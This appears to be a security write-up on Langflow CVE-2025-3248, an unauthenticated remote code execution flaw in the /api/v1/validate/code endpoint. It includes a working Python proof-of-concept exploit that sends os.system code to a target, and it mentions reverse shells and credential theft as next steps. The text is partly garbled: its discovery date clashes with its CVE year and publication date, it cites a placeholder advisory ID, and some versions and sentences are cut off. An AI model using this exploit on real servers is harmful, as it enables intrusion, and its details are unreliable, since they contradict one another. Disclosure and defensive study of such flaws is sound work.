On June 5, 2024, a major security vulnerability was identified in Langflow, a popular no-code interface for building language model-powered applications. Registered as CVE-2025-3248, this flaw allows anyone on the internet to execute arbitrary Python code on affected servers, by sending specially crafted requests to the /api/v1/validate/code endpoint. Critically, no authentication is required for this exploit to work if the service is open to the web.

In this article, we break down how this flaw works, how it can be exploited, and how Langflow users can protect themselves.

1. What is Langflow, and What Went Wrong?

Langflow is a web application that gives developers and non developers visual tools to build chains for LLM (Large Language Model) workflows. It offers a variety of endpoints to let users validate and run custom code.

Affected Versions:
All Langflow versions before 1.3. are affected by this vulnerability.

The vulnerability is in the /api/v1/validate/code endpoint. Due to unsafe use of Python’s eval() or exec(), anything sent to this endpoint could be run as real code on the host server.

Here’s why that’s dangerous:
- An attacker can send any Python code (including things like reading /etc/passwd, opening reverse shells, or stealing credentials)

2. Vulnerability Details

The root of the issue comes from how user-provided code is handled.

Vulnerable source (example)

@router.post("/validate/code")
async def validate_code(request: Request):
    body = await request.json()
    code = body.get("code")
    # BAD: this runs untrusted code!
    eval(code)
    return {"valid": True}

(The real source may use exec() or a similar call, but the danger is the same)

What should happen:

The endpoint should require authentication at a minimum.

But here:

3. Proof of Concept Exploit

If you have an affected Langflow server running at https://vulnerable-server.com, you can run this exploit (for testing on your own setup only):

import requests

TARGET = "https://vulnerable-server.com/api/v1/validate/code"

payload = {
    "code": "__import__('os').system('id > /tmp/pwned_by_cve_2025_3248')"
}

# Send malicious code
response = requests.post(TARGET, json=payload)
print("Status:", response.status_code)
print(response.text)

What this does:

It sends a code snippet to the endpoint

- The server executes os.system('id ...') and writes the output to /tmp/pwned_by_cve_2025_3248

Attacker can escalate this to… almost anything

You could insert other payloads too, such as reverse shell code or data exfiltration scripts.

Official Advisory:

GitHub Security Advisory GHSA-xxxx-yyyy (placeholder; check the repo)

Patch & Release Notes:

Langflow Release v1.3.

CVE Record:

CVE-2025-3248 entry at MITRE (pending publication)

If you can’t upgrade right now:

- Restrict access to /api/v1/validate/code via firewall or reverse proxy

Audit logs for suspicious code validation traffic

If you manage a cloud instance:
- Check for files like /tmp/pwned_by_cve_2025_3248

Updating is the only safe fix.

Always remember: Never run untrusted user code directly, and always require authentication for endpoints that accept or execute code.

References:
- Langflow GitHub Repo
- CWE-94: Improper Control of Generation of Code ('Code Injection')

Timeline

Published on: 04/07/2025 15:15:44 UTC
Last modified on: 04/09/2025 19:15:50 UTC